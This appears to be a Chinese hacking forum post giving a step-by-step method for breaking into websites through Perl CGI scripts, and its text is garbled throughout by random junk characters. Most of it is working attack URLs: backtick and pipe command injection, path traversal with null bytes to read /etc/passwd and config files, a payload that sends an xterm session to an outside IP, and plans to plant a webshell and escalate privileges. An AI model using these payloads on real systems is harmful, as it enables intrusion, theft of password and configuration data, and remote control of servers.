总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 9 v3 a8 f4 w- h7 G
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
* }( V! m2 i- |' m ~$ k感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
7 h' e/ T: d3 P* f注“ . }: q/ o2 h. k H3 l6 w2 q0 H
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 9 J7 P8 N4 u$ g7 R$ W- U
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
, v% U( V0 v1 ?; b' Y; m
& k0 n; O5 E( U* k0 a2 |! Hhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 2 t N2 K3 v7 h. q0 o5 k ^
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 @, A. ]. U4 G. i1 x
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
! j3 A7 N, O1 _" j8 m- Q& r5 Nhttp://target.com/cgi-bin/home/news/sub.pl?`id`
2 w6 r( c6 H" y1 s; Vhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ; V9 |8 f: K4 t) Q1 k
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
6 M( O# J0 B- l5 R u( E" S$ n" J& D; |: {$ x
http://target.com/test.pl;ls| " o% ?7 s C# A+ Z
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 8 b& G9 C0 b5 N' K( C3 t. |
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| / o3 Q: ^+ z$ M8 ^+ v! r, t
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
" w" N7 C2 A! H M比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 " o1 m5 l+ B `. ^
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 0 N9 m2 [! s6 _8 G% b6 r! @
- U6 P8 g* _. L3 w! M: Qhttp://target.com/test.pl?&........ /../../etc/passwd ' M N2 {4 R* k7 Q6 g2 ]1 ^; I
. }/ q' R! \) M0 \" w8 S+ F
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
1 a: E. q6 L1 b1 Xhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 2 L K0 ?9 ?5 [* d& u8 R
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
' b$ F, U% \4 b8 p; q S: `/ S- E& ^" r* x0 v
http://www.target.org/show.php?f ... /include/config.php 查看php代码 8 c# L9 x- y; ]( s
http://www.target.org/show.php?f ... ng/admin/global.php
! y6 T; w& `/ s/ I; m: h$ `
A+ E# L& Q6 Q @( `$ `emm和ps的一句话& W( }. [* g+ \+ r
- h7 ~) w! Y- }; J( p
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
' H% T* M; [# I3 J& q# { O& I9 D" }" @2 |* n& Z! F( a6 u
>bbb%20|
0 b3 }" J; s- `8 I' h9 z: F' D6 O" n9 i7 Q
- `# S9 i5 r1 m9 ]http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 - W6 a& I; M8 l' b: K2 k; Q" G! L7 i
8 E1 ^$ C& j, c! |6 c1 j. ^9 z
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
: ]) k$ |9 n0 _+ b9 u. Ehttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin & z3 r6 |7 L' _( d9 R+ X' z5 m# u5 L
- v) Q0 w( l8 i: y# y% c" P相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
4 K- o! b/ A& Ehttp://target.com/index.html#cmd.exe / v# W" k( W% @7 _
http://target.com/index.html?dummyparam=xp_cmdshell
, g- N9 j) a7 l, b! xlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
8 ^! K9 b4 D* E; @3 F& I& u |